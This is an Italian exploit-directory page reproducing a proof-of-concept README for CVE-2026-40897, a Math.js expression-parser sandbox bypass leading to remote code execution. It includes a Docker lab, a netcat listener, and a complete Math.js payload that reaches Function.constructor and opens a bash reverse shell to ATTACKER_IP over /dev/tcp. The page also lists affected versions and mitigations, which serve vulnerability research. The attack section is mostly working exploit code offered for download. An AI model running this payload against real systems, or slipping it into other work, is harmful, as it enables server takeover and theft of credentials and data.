Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-40897 — Proof-of-concept exploit per CVE-2026-40897, un bypass del sandbox del parser di espressioni di Math.js che consente l'esecuzione di codice remoto tramite payload appositamente costruiti e un laboratorio Docker. | Kitploit
Strumenti/GitHubGitHub/yym8538/cve-2026-40897
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebVirtualizzazione per la SicurezzaStrumento di Accesso RemotoSviluppo Payload
GitHubyym8538/cve-2026-40897

CVE-2026-40897

Proof-of-concept exploit per CVE-2026-40897, un bypass del sandbox del parser di espressioni di Math.js che consente l'esecuzione di codice remoto tramite payload appositamente costruiti e un laboratorio Docker.

Vedi Repository
11 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-40897 Esecuzione Remota di Codice nel Parser di Espressioni di Math.js

★ CVE-2026-40897 Esecuzione Remota di Codice in Math.js PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


Panoramica

CVE-2026-40897 è una vulnerabilità di Sandbox Bypass che porta all'Esecuzione Remota di Codice nel parser di espressioni di Math.js. Il filtro isSafeProperty controlla solo l'accesso alle proprietà dalle espressioni utente, non dai percorsi di codice interni. Sfruttando la fuga dell'array interno di ArrayNode tramite toJSON() e sovrascrivendo il suo .map, un attaccante può forzare il codice interno ad accedere a Function.constructor ed eseguire JavaScript arbitrario.


Versioni Affette

CategoriaVersione
VulnerabileMath.js 13.1.1 ≤ versione ≤ 15.1.1
Corretta15.2.0

Impatto

  • Esecuzione arbitraria di codice JavaScript (RCE)
  • Accesso al file system dell'host
  • Connessione reverse shell che porta al compromesso completo del server
  • Esfiltrazione di credenziali backend e dati sensibili

Ambiente

docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

Dopo aver avviato l'ambiente vulnerabile, segui i passaggi seguenti per riprodurre l'attacco.

Passaggio 1. Avvia un listener per la reverse shell

nc -lvnp 4444

Passaggio 2. Invia il payload malevolo

Invia la seguente espressione a math.evaluate (ad esempio, tramite l'input di calcolo dell'applicazione).

array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Passaggio 3. Conferma l'accesso alla shell dal lato dell'attaccante

Il server target si connette al listener dell'attaccante, fornendo una shell bash interattiva.


Mitigazione

  • Aggiornare Math.js a una versione corretta
  • Evitare di passare input utente non attendibile direttamente a math.evaluate()
  • Limitare l'esposizione di funzioni/classi interne (reviver, FunctionAssignmentNode, ArrayNode) attraverso il parser di espressioni

Analisi

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN: https://www.skshieldus.com/en/report?tab=eqst
Scarica lo strumento